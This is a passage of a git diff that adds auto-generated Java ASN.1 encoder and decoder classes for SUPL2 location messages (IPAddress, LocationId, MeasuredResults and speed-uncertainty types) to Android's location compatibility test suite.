+ //
+
+ private static final Asn1Tag TAG_bearingType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bearingType() {
+ super();
+ setMinSize(9);
+setMaxSize(9);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bearingType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bearingType != null) {
+ return ImmutableList.of(TAG_bearingType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bearingType from encoded stream.
+ */
+ public static bearingType fromPerUnaligned(byte[] encodedBytes) {
+ bearingType result = new bearingType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bearingType from encoded stream.
+ */
+ public static bearingType fromPerAligned(byte[] encodedBytes) {
+ bearingType result = new bearingType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bearingType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class horspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_horspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public horspeedType() {
+ super();
+ setMinSize(16);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_horspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_horspeedType != null) {
+ return ImmutableList.of(TAG_horspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new horspeedType from encoded stream.
+ */
+ public static horspeedType fromPerUnaligned(byte[] encodedBytes) {
+ horspeedType result = new horspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new horspeedType from encoded stream.
+ */
+ public static horspeedType fromPerAligned(byte[] encodedBytes) {
+ horspeedType result = new horspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "horspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class uncertspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_uncertspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public uncertspeedType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_uncertspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_uncertspeedType != null) {
+ return ImmutableList.of(TAG_uncertspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new uncertspeedType from encoded stream.
+ */
+ public static uncertspeedType fromPerUnaligned(byte[] encodedBytes) {
+ uncertspeedType result = new uncertspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new uncertspeedType from encoded stream.
+ */
+ public static uncertspeedType fromPerAligned(byte[] encodedBytes) {
+ uncertspeedType result = new uncertspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "uncertspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Horveluncert = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/IPAddress.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/IPAddress.java
new file mode 100755
index 0000000..8ecd4b6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/IPAddress.java
@@ -0,0 +1,515 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class IPAddress extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_IPAddress
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "IPAddress: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public IPAddress() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_IPAddress;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_IPAddress != null) {
+ return ImmutableList.of(TAG_IPAddress);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new IPAddress from encoded stream.
+ */
+ public static IPAddress fromPerUnaligned(byte[] encodedBytes) {
+ IPAddress result = new IPAddress();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new IPAddress from encoded stream.
+ */
+ public static IPAddress fromPerAligned(byte[] encodedBytes) {
+ IPAddress result = new IPAddress();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Ipv4Address(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new IPAddress.ipv4AddressType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IPAddress.ipv4AddressType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Ipv6Address(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new IPAddress.ipv6AddressType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IPAddress.ipv6AddressType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ipv4AddressType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_ipv4AddressType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ipv4AddressType() {
+ super();
+ setMinSize(4);
+setMaxSize(4);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ipv4AddressType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ipv4AddressType != null) {
+ return ImmutableList.of(TAG_ipv4AddressType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ipv4AddressType from encoded stream.
+ */
+ public static ipv4AddressType fromPerUnaligned(byte[] encodedBytes) {
+ ipv4AddressType result = new ipv4AddressType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ipv4AddressType from encoded stream.
+ */
+ public static ipv4AddressType fromPerAligned(byte[] encodedBytes) {
+ ipv4AddressType result = new ipv4AddressType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "ipv4AddressType";
+ }
+}
+
+
+ public boolean isIpv4Address() {
+ return !hasExtensionValue() && Select.$Ipv4Address == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isIpv4Address}.
+ */
+ @SuppressWarnings("unchecked")
+ public IPAddress.ipv4AddressType getIpv4Address() {
+ if (!isIpv4Address()) {
+ throw new IllegalStateException("IPAddress value not a Ipv4Address");
+ }
+ return (IPAddress.ipv4AddressType) element;
+ }
+
+ public void setIpv4Address(IPAddress.ipv4AddressType selected) {
+ selection = Select.$Ipv4Address;
+ extension = false;
+ element = selected;
+ }
+
+ public IPAddress.ipv4AddressType setIpv4AddressToNewInstance() {
+ IPAddress.ipv4AddressType element = new IPAddress.ipv4AddressType();
+ setIpv4Address(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ipv6AddressType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_ipv6AddressType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ipv6AddressType() {
+ super();
+ setMinSize(16);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ipv6AddressType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ipv6AddressType != null) {
+ return ImmutableList.of(TAG_ipv6AddressType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ipv6AddressType from encoded stream.
+ */
+ public static ipv6AddressType fromPerUnaligned(byte[] encodedBytes) {
+ ipv6AddressType result = new ipv6AddressType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ipv6AddressType from encoded stream.
+ */
+ public static ipv6AddressType fromPerAligned(byte[] encodedBytes) {
+ ipv6AddressType result = new ipv6AddressType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "ipv6AddressType";
+ }
+}
+
+
+ public boolean isIpv6Address() {
+ return !hasExtensionValue() && Select.$Ipv6Address == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isIpv6Address}.
+ */
+ @SuppressWarnings("unchecked")
+ public IPAddress.ipv6AddressType getIpv6Address() {
+ if (!isIpv6Address()) {
+ throw new IllegalStateException("IPAddress value not a Ipv6Address");
+ }
+ return (IPAddress.ipv6AddressType) element;
+ }
+
+ public void setIpv6Address(IPAddress.ipv6AddressType selected) {
+ selection = Select.$Ipv6Address;
+ extension = false;
+ element = selected;
+ }
+
+ public IPAddress.ipv6AddressType setIpv6AddressToNewInstance() {
+ IPAddress.ipv6AddressType element = new IPAddress.ipv6AddressType();
+ setIpv6Address(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "IPAddress = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/LocationId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/LocationId.java
new file mode 100755
index 0000000..8e37e10
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/LocationId.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class LocationId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_LocationId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LocationId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LocationId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LocationId != null) {
+ return ImmutableList.of(TAG_LocationId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new LocationId from encoded stream.
+ */
+ public static LocationId fromPerUnaligned(byte[] encodedBytes) {
+ LocationId result = new LocationId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LocationId from encoded stream.
+ */
+ public static LocationId fromPerAligned(byte[] encodedBytes) {
+ LocationId result = new LocationId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellInfo cellInfo_;
+ public CellInfo getCellInfo() {
+ return cellInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellInfo
+ */
+ public void setCellInfo(Asn1Object value) {
+ this.cellInfo_ = (CellInfo) value;
+ }
+ public CellInfo setCellInfoToNewInstance() {
+ cellInfo_ = new CellInfo();
+ return cellInfo_;
+ }
+
+ private Status status_;
+ public Status getStatus() {
+ return status_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Status
+ */
+ public void setStatus(Asn1Object value) {
+ this.status_ = (Status) value;
+ }
+ public Status setStatusToNewInstance() {
+ status_ = new Status();
+ return status_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCellInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCellInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setCellInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cellInfo : "
+ + getCellInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getStatus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStatus();
+ }
+
+ @Override public void setToNewInstance() {
+ setStatusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Status.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "status : "
+ + getStatus().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("LocationId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResults.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResults.java
new file mode 100755
index 0000000..3f7dfa8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/MeasuredResults.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MeasuredResults extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MeasuredResults
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MeasuredResults() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MeasuredResults;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MeasuredResults != null) {
+ return ImmutableList.of(TAG_MeasuredResults);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MeasuredResults from encoded stream.
+ */
+ public static MeasuredResults fromPerUnaligned(byte[] encodedBytes) {
+ MeasuredResults result = new MeasuredResults();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MeasuredResults from encoded stream.
+ */
+ public static MeasuredResults fromPerAligned(byte[] encodedBytes) {
+ MeasuredResults result = new MeasuredResults();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private FrequencyInfo frequencyInfo_;
+ public FrequencyInfo getFrequencyInfo() {
+ return frequencyInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FrequencyInfo
+ */
+ public void setFrequencyInfo(Asn1Object value) {
+ this.frequencyInfo_ = (FrequencyInfo) value;
+ }
+ public FrequencyInfo setFrequencyInfoToNewInstance() {
+ frequencyInfo_ = new FrequencyInfo();
+ return frequencyInfo_;
+ }
+
+ private UTRA_CarrierRSSI utra_CarrierRSSI_;
+ public UTRA_CarrierRSSI getUtra_CarrierRSSI() {
+ return utra_CarrierRSSI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRA_CarrierRSSI
+ */
+ public void setUtra_CarrierRSSI(Asn1Object value) {
+ this.utra_CarrierRSSI_ = (UTRA_CarrierRSSI) value;
+ }
+ public UTRA_CarrierRSSI setUtra_CarrierRSSIToNewInstance() {
+ utra_CarrierRSSI_ = new UTRA_CarrierRSSI();
+ return utra_CarrierRSSI_;
+ }
+
+ private CellMeasuredResultsList cellMeasuredResultsList_;
+ public CellMeasuredResultsList getCellMeasuredResultsList() {
+ return cellMeasuredResultsList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellMeasuredResultsList
+ */
+ public void setCellMeasuredResultsList(Asn1Object value) {
+ this.cellMeasuredResultsList_ = (CellMeasuredResultsList) value;
+ }
+ public CellMeasuredResultsList setCellMeasuredResultsListToNewInstance() {
+ cellMeasuredResultsList_ = new CellMeasuredResultsList();
+ return cellMeasuredResultsList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getFrequencyInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFrequencyInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setFrequencyInfoToNewInstance();
+ }
+
